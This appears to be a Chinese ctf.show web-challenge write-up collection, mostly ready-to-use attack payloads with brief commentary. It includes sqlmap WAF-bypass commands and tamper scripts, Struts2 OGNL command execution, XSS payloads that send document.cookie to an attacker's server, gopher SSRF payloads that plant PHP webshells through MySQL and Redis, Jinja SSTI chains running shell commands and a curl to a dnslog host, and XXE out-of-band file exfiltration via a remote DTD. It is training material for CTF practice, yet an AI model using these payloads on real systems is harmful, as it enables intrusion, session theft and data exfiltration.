如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。
使用-D,-T参数指定想要获取哪个库的哪个表,不适用-D参数时,默认使用当前库。
使用参数绕waf
--random-agent    使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3      使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp             使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985      使用代理进行绕过
--ignore-proxy    禁止使用系统的代理,直接连接进行注入
--flush-session   清空会话,重构注入
--hex 或者 --no-cast     进行字符码转换
--mobile          对移动端的服务器进行注入
--tor             匿名注入
指定脚本进行绕过(--tamper)
比如sqlmap -u "http://xxx/Less-1/?id=1" --tamper="space2comment.py,space2plus.py"
探测等级和危险等级(—level —risk)
sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5
--safe-freq 设置两次注入测试前访问安全链接的次数
sqlmap -u http://390b4a5e-c0c5-474e-a544-aa399aeb858c.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flax -C flagx --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://390b4a5e-c0c5-474e-a544-aa399aeb858c.challenge.ctf.show/api/getToken.php --safe-freq 1
sqlmap -u http://b881b8c1-4303-4064-be9e-94341d9eeaec.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://b881b8c1-4303-4064-be9e-94341d9eeaec.challenge.ctf.show/api/getToken.php --safe-freq 1
sqlmap -u http://aa934943-9c1e-4425-92a3-4a144b163026.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://aa934943-9c1e-4425-92a3-4a144b163026.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper  space2comment.py
See the file 'LICENSE' for copying permission
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
def tamper(payload, **kwargs):
    retVal = payload
    retVal = retVal.replace("=", " like ")
    retVal = retVal.replace(" ", chr(0x0a))
    return retVal
sqlmap -u http://5cb45ff6-c3c8-46cf-b0bc-5e9f6f711554.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://5cb45ff6-c3c8-46cf-b0bc-5e9f6f711554.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper  ctfshow209.py
See the file 'LICENSE' for copying permission
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
from base64 import *
__priority__ = PRIORITY.LOW
def dependencies():
def tamper(payload, **kwargs):
    retVal = payload
    retVal = retVal.replace("-- -", "#")
    retVal = b64encode("".join(reversed(b64encode("".join(reversed(retVal)).encode('utf-8')).decode('utf-8'))).encode('utf-8')).decode('utf-8')
    return retVal
sqlmap -u http://14dfde18-ef20-4f41-b6c7-0aceca1f80fc.challenge.ctf.show/api/index.php --method=PUT --data="id=1" -D ctfshow_web -T ctfshow_flavi -C ctfshow_flagxx --dump --batch --referer="ctf.show" --headers="Content-Type: text/plain" --safe-url http://14dfde18-ef20-4f41-b6c7-0aceca1f80fc.challenge.ctf.show/api/getToken.php --safe-freq 1 --tamper  ctfshow210.py
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
import base64
__priority__ = PRIORITY.LOW
def dependencies():
    singleTimeWarnMessage("")
def tamper(payload, **kwargs):
    retVal = payload
    retVal = retVal.replace(" ", "/**/")
    retVal = retVal.encode()
    retVal = retVal[::-1]
    retVal = base64.b64encode(retVal)
    retVal = retVal[::-1]
    retVal = base64.b64encode(retVal)
    retVal = retVal.decode()
    return retVal
sqlmap -u http://221ac7d3-212d-4532-9b49-dbf4a611b2ed.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://221ac7d3-212d-4532-9b49-dbf4a611b2ed.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flavia -C ctfshow_flagxxa,id,tes --dump --batch --tamper 211.py

web212

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
function waf($str){
    return preg_match('/ |\*/', $str);

改成替换成%09

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1
url/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27env%27%29.getInputStream%28%29%29)

web入门·XSS

web316

xml.php

$content = $_GET['1']; if(isset($content)){ file_put_contents('flag.txt','Last update time:'.date("Y-m-d H:i:s")."\n".$content); }else{ echo 'no data input';
<script>document.location.href='http://url/xml.php?1='+document.cookie</script>

xml.php放你vps上,payload执行后可以在网页目录看到一个flag.txt。首先得到的是你自己的cookie,过会儿xssbot点了才能拿到flag

web317

script被过滤了,换个标签即可

<body onload="window.open('http://url/xml.php?1='+document.cookie)"></body>

web318

过滤了img,还是用上题那个payload

web319

不知道多了啥过滤,反正同上

web320

空格被ban

<iframe/**/onload="window.open('http://url/xml.php?1='+document.cookie)"></iframe>
import time
url="http://0f268fd6-0995-43d6-9f58-31c1b8ce402f.challenge.ctf.show/api/amount.php"
url2="http://0f268fd6-0995-43d6-9f58-31c1b8ce402f.challenge.ctf.show/api/getFlag.php"
headers={'Cookie':'PHPSESSID=b3rcula2jb86mo11r0v13kg932'}  #自己登录后的sessionid
while True:
	print(x)
	t=x-1
	data={
	'u':'123456', #注册的用户名
	'a':str(t)
	r=requests.post(url,headers=headers,data=data)
	print(r.text)
	if(x>10000):
		r2=requests.get(url2,headers=headers)
		print(r2.text)
		break
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
module.exports = router;

也就是我们要让secert.ctfshow===’36dboy’,utils.copy会将请求体中的数据复制到一个名为“user”的对象中,所以我们只要像上面的演示一样让password.__proto__.ctfshow=’36dboy’即可,payload:

{"username":"asd","password":"asd","__proto__":{"ctfshow":"36dboy"}}

甚至只用{"__proto__":{"ctfshow":"36dboy"}}都可以,只要成功给Object添加熟悉即可

web338

现在代码变成了:

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
function User(){
  this.username='';
  this.password='';
function normalUser(){
  this.user
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
module.exports = router;

像上一题一样直接覆盖是不行了,因为我们又不知道flag的值,没法让secert.ctfshow===flag

web入门·SSRF

web351

error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result);

POST传入

url=127.0.0.1/flag.php

让服务器帮我们请求本地的flag.php即可

web352

error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127.0.0/')){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); else{ die('hacker'); else{ die('hacker');

主要是加了一个过滤:

if(!preg_match('/localhost|127.0.0/'))

但这个代码其实写错了,因为没规定匹配哪个变量里的字符串,所以上一题的payload还是能打:

url=http://127.0.0.1/flag.php

web353

error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|127\.0\.|\。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); else{ die('hacker'); else{ die('hacker');

过滤了localhost”、”127.0.” 或中文句号(

127.1可被解析为127.0.0.1,为0可缺省
在linux中,0会被解析为127.0.0.1
127.0.0.0/8是一个环回地址网段,从127.0.0.1 ~ 127.255.255.254都表示localhost

当然我们还可以对127.0.0.1转进制

url=http://2130706433/flag.php

web354

error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ if(!preg_match('/localhost|1|0|。/i', $url)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); else{ die('hacker'); else{ die('hacker');
url=http://sudo.cc/flag.php

这个域名应该提前解析向0.0.0.0了,所以可以成功

web355

error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $host=$x['host']; if((strlen($host)<=5)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); else{ die('hacker'); else{ die('hacker');

也就多加了个小于5而已,用之前那个Payload可以照打:

url=http://127.1/flag.php

web356

error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $host=$x['host']; if((strlen($host)<=3)){ $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result=curl_exec($ch); curl_close($ch); echo ($result); else{ die('hacker'); else{ die('hacker');

限制小于三,我们可以使用:

url=http://0/flag.php

0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

web357

error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if($x['scheme']==='http'||$x['scheme']==='https'){ $ip = gethostbyname($x['host']); echo '</br>'.$ip.'</br>'; if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('ip!'); echo file_get_contents($_POST['url']); else{ die('scheme');

排除了私有地址和保留地址,我直接在自己网站放放了个重定向网页:

header("Location:http://127.0.0.1/flag.php");

用我的也行,直接传:

url=http://121.36.193.62/403.php

web358

error_reporting(0); highlight_file(__FILE__); $url=$_POST['url']; $x=parse_url($url); if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ echo file_get_contents($url);

parse_url()函数是解析 URL,并返回url的组成部分,我们可以用http://[email protected]/flag.php?show或者http://[email protected]/flag.php#show满足首部为http://ctf,尾部为show

url=http://[email protected]/flag.php#show

web359

在check.php里post:

returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254a%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2573%2573%2572%2566%252e%2570%2568%2570%2527%2501%2500%2500%2500%2501

然后在新生成的木马ssrf.php里执行命令即可:

cmd=system("cat /flag.txt");
url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bcmd%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

然后用shell.php用cmd传命令即可

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

然后对_后面进行url编码

web入门·SSTI

SSTI的基本思路就是利用python中的魔术方法找到自己要用的函数

__dict__ 保存类实例或对象实例的属性变量键值对字典
__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

web361

抄的CTFSHOW-SSTI

1、先找基类object,用空字符串""来找
在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。
使用?name={{"".__class__}},得到空字符串的类<class 'str'>
点号. :python中用来访问变量的属性
__class__:类的一个内置属性,表示实例对象空字符串""的类。
然后使用?name={{"".__class__.__mro__}},得到(<class 'tuple'>, <class 'object'>)
__mro__       method resolution order,即解析方法调用的顺序;此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
然后再用?name={{().__class__.__mro__[-1]}},取得最后一个东西即空字符串的类的基类<class 'object'>
或者使用?name={{"".__class__.__bases__}},得到空字符串的类的基类<class 'object'>
__base__             类型对象的直接基类
__bases__           类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
2、得到基类之后,找到这个基类的子类集合
使用?name={{().__class__.__mro__[1].__subclasses__()}}
__subclasses__()     返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。
3、找到其所有子类集合之后找一个我们能够使用的类,要求是这个类的某个方法能够被我们用于执行、找到flag
这里使用其第133个类([0]是第一个类)<class 'os._wrap_close'>
使用?name={{"".__class__.__mro__[-1].__subclasses__()[132]}},得到<class 'os._wrap_close'>
<class 'os._wrap_close'>        这个类有个popen方法可以执行系统命令
4、实例化我们找到的类对象
使用?name={{"".__class__.__mro__[-1].__subclasses__()[132].__init__}},实例化这个类
__init__             初始化类,返回的类型是function
5、找到这个实例化对象的所有方法
使用?name={{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}
__globals__          使用方式是 function.__globals__获取function所处空间下可使用的module、方法以及所有变量。
6、根据方法寻找flag
?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
popen()一个方法,用于执行命令
read() 从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象

web362

def translate_digits(s):
    mapping = str.maketrans("0123456789", "0123456789")
    return s.translate(mapping)
def translate_letters_encode(s):
    mapping = str.maketrans("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳𝐀𝐁𝐂𝐃𝐄𝐅𝐆𝐇𝐈𝐉𝐊𝐋𝐌𝐍𝐎𝐏𝐐𝐑𝐒𝐓𝐔𝐕𝐖𝐗𝐘𝐙")
    return s.translate(mapping)
def translate_letters_fullangle(s):
    mapping = str.maketrans("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
    return s.translate(mapping)
s = "{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}"
s = translate_digits(s)
print(s)

过滤了数字,用全角bypass一下即可

{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web363

过滤了单双引号,使用命令执行拼接一下

?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:a=os;b=popen;c=cat /flag
?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie:a=__globals__;b=os;c=cat /flag

web368

ban掉了{{

?name={% print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}
Cookie:a=__globals__;b=os;c=cat /flag

web369

ban掉了request,{%%}执行代码、拼接字符赋值给变量

{% set po=dict(po=a,p=a)|join%}  #通过dict()和join构造pop
{% set a=(()|select|string|list)|attr(po)(24)%} #a等价于下划线
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}  #通过拼接得到__init__
#glo、geti、built同理
#再往后,调用chr,构造/flag,读取文件
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}{%set k=dict(eeeeeeeee=a)|join|count%}{%set l=dict(eeeeeeee=a)|join|count%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(qjvpco=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}ataoyyds{%endif%}
Payload:?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}{%set k=dict(eeeeeeeee=a)|join|length%}{%set l=dict(eeeeeeee=a)|join|length%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(qybgbf=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}atao{%endif%}

web入门·XXE

XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用时严格禁止对外部实体的解析。

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
</updateProfile>
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    //DOMDocument,表示整个HTML或XML文档;作为文档树的根。
    $dom = new DOMDocument();
    //loadXML,从一个字符串中,加载一个XML文档
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    //将XML文档作为一个导入一个XML对象
    $creds = simplexml_import_dom($dom);
    //XML对象指向ctfshow的元素标签
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
highlight_file(__FILE__);    

这里我们就可以POST传一个读取服务器的xml,被php://input解析并加载后,通过echo我们就可以看到flag了:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
<ctfshow>&xxe;</ctfshow>
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
highlight_file(__FILE__);   

这里load完就不echo了,也就是没回显了,我们可以考虑外带到自己的vps上:

xml.php

$content = $_GET['1']; if(isset($content)){ file_put_contents('flag.txt','Last update time:'.date("Y-m-d H:i:s")."\n".base64_decode($content)); }else{ echo 'no data input';

xxe.xml

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http:/vps/xml.php?1=%file;'"
%all;

把这两个文件放在自己vps的网站目录里,payload:

<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://vps/xxe.xml">
%remote;
%send;

原理就是用xml多次外带最后接受flag数据,后面在自己服务器上的flag.txt就是flag的内容了

web375

error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){ die('error'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); highlight_file(__FILE__);

过滤了版本号,但我们本来就没用这个,payload还是:

<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://vps/xxe.xml">
%remote;
%send;

web376

error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){ die('error'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); highlight_file(__FILE__);

web377

error_reporting(0); libxml_disable_entity_loader(false); $xmlfile = file_get_contents('php://input'); if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){ die('error'); if(isset($xmlfile)){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); highlight_file(__FILE__);

多过滤了 http 头,利用 utf-16 编码

import requests
url = 'http://5d09502d-95cc-48df-a33f-0c87a79d628e.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://vps/xxe.xml">
%remote;
%send;
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)
GET /admincp.php HTTP/1.1
Host: 56520f28-8ca2-40ef-8dff-6ee0c476aa37.challenge.ctf.show
